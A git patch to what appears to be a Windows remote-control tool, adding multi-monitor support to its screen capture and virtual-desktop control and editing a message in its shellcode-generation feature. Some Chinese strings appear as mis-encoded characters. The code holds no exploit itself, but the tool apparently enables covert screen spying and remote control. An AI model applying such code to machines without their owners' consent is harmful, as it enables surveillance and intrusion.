From cf03de5bc95707e94b2d4cc8694839eba5bd7c76 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Sun, 3 Aug 2025 18:12:05 +0800 Subject: [PATCH] fix: Virtual desktop control support multiple monitor --- client/ScreenManager.cpp | 67 +++++++++++++++-------------- client/ScreenSpy.h | 8 ++-- server/2015Remote/2015RemoteDlg.cpp | 3 +- server/2015Remote/ScreenSpyDlg.cpp | 2 +- 4 files changed, 41 insertions(+), 39 deletions(-) diff --git a/client/ScreenManager.cpp b/client/ScreenManager.cpp index d4bc8ff..0b1cc94 100644 --- a/client/ScreenManager.cpp +++ b/client/ScreenManager.cpp @@ -433,51 +433,52 @@ VOID CScreenManager::ProcessCommand(LPBYTE szBuffer, ULONG ulLength) case WM_KEYUP: return; case WM_CHAR: - case WM_KEYDOWN: { m_point = m_lastPoint; hWnd = WindowFromPoint(m_point); break; } - case WM_RBUTTONDOWN: { - // 记录右键按下时的坐标 - m_rmouseDown = TRUE; - m_rclickPoint = msg->pt; - break; - } - case WM_RBUTTONUP: { - m_rmouseDown = FALSE; - m_rclickWnd = WindowFromPoint(m_rclickPoint); - // 检查是否为系统菜单(如任务栏) - char szClass[256]; - GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); - Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd); - if (strcmp(szClass, "Shell_TrayWnd") == 0) { - // 触发系统级右键菜单(任务栏) - PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd, - MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y)); - } - else { - // 普通窗口的右键菜单 - if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam, - MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) { - // 附加:模拟键盘按下Shift+F10(备用菜单触发方式) - keybd_event(VK_SHIFT, 0, 0, 0); - keybd_event(VK_F10, 0, 0, 0); - keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0); - keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); - } - } - break; - } default: { + msg->pt = { LOWORD(msg->lParam), HIWORD(msg->lParam) }; + m_ScreenSpyObject->PointConversion(msg->pt); + msg->lParam = MAKELPARAM(msg->pt.x, msg->pt.y); + mouseMsg = TRUE; m_point = msg->pt; hWnd = WindowFromPoint(m_point); lastPointCopy = m_lastPoint; m_lastPoint = m_point; - if (msg->message == WM_LBUTTONUP) { + if (msg->message == WM_RBUTTONDOWN) { + // 记录右键按下时的坐标 + m_rmouseDown = TRUE; + m_rclickPoint = msg->pt; + } + else if (msg->message == WM_RBUTTONUP) { + m_rmouseDown = FALSE; + m_rclickWnd = WindowFromPoint(m_rclickPoint); + // 检查是否为系统菜单(如任务栏) + char szClass[256] = {}; + GetClassNameA(m_rclickWnd, szClass, sizeof(szClass)); + Mprintf("Right click on '%s' %s[%p]\n", szClass, GetTitle(hWnd).c_str(), hWnd); + if (strcmp(szClass, "Shell_TrayWnd") == 0) { + // 触发系统级右键菜单(任务栏) + PostMessage(m_rclickWnd, WM_CONTEXTMENU, (WPARAM)m_rclickWnd, + MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y)); + } + else { + // 普通窗口的右键菜单 + if (!PostMessage(m_rclickWnd, WM_RBUTTONUP, msg->wParam, + MAKELPARAM(m_rclickPoint.x, m_rclickPoint.y))) { + // 附加:模拟键盘按下Shift+F10(备用菜单触发方式) + keybd_event(VK_SHIFT, 0, 0, 0); + keybd_event(VK_F10, 0, 0, 0); + keybd_event(VK_F10, 0, KEYEVENTF_KEYUP, 0); + keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); + } + } + } + else if (msg->message == WM_LBUTTONUP) { if (m_rclickWnd && hWnd != m_rclickWnd) { PostMessageA(m_rclickWnd, WM_LBUTTONDOWN, MK_LBUTTON, 0); diff --git a/client/ScreenSpy.h b/client/ScreenSpy.h index b4154ca..af2c91a 100644 --- a/client/ScreenSpy.h +++ b/client/ScreenSpy.h @@ -22,10 +22,10 @@ public: void Create(HDC desktop, int _x, int _y, int w, int h) { x = _x; y = _y; - width = w; - height = h; + width = GetSystemMetrics(SM_CXVIRTUALSCREEN); + height = GetSystemMetrics(SM_CYVIRTUALSCREEN); hDcWindow = CreateCompatibleDC(desktop); - hBmpWindow = CreateCompatibleBitmap(desktop, w, h); + hBmpWindow = CreateCompatibleBitmap(desktop, width, height); } EnumHwndsPrintData& SetScreenDC(HDC dc) { hDcScreen = dc; @@ -154,7 +154,7 @@ public: static BOOL CALLBACK EnumHwndsPrint(HWND hWnd, LPARAM lParam) { - AUTO_TICK_C(50); + AUTO_TICK_C(100); if (FALSE == PaintWindow(hWnd, (EnumHwndsPrintData*)lParam)) { char text[_MAX_PATH] = {}; GetWindowText(hWnd, text, sizeof(text)); diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 76a6da9..48672d1 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -3114,7 +3114,8 @@ void CMy2015RemoteDlg::OnToolGenShellcode() _tcscpy_s(buffer, name); PathRemoveExtension(buffer); if (WriteBinaryAsCArray(CString(buffer) + ".c", srcData, srcLen, "Shellcode")) { - MessageBox("Shellcode 鐢熸垚鎴愬姛! \r\n" + CString(buffer) + ".c", "鎻愮ず", MB_ICONINFORMATION); + MessageBox("Shellcode 鐢熸垚鎴愬姛! 璇疯嚜琛岀紪鍐欒皟鐢ㄧ▼搴忋俓r\n" + CString(buffer) + ".c", + "鎻愮ず", MB_ICONINFORMATION); } } SAFE_DELETE_ARRAY(srcData); diff --git a/server/2015Remote/ScreenSpyDlg.cpp b/server/2015Remote/ScreenSpyDlg.cpp index 5070365..b45f1b2 100644 --- a/server/2015Remote/ScreenSpyDlg.cpp +++ b/server/2015Remote/ScreenSpyDlg.cpp @@ -168,7 +168,7 @@ BOOL CScreenSpyDlg::OnInitDialog() SysMenu->AppendMenu(MF_SEPARATOR); } - m_bIsCtrl = FALSE; //涓嶆槸鎺у埗 + m_bIsCtrl = THIS_CFG.GetInt("settings", "DXGI") == USING_VIRTUAL; m_bIsTraceCursor = FALSE; //涓嶆槸璺熻釜 m_ClientCursorPos.x = 0; m_ClientCursorPos.y = 0;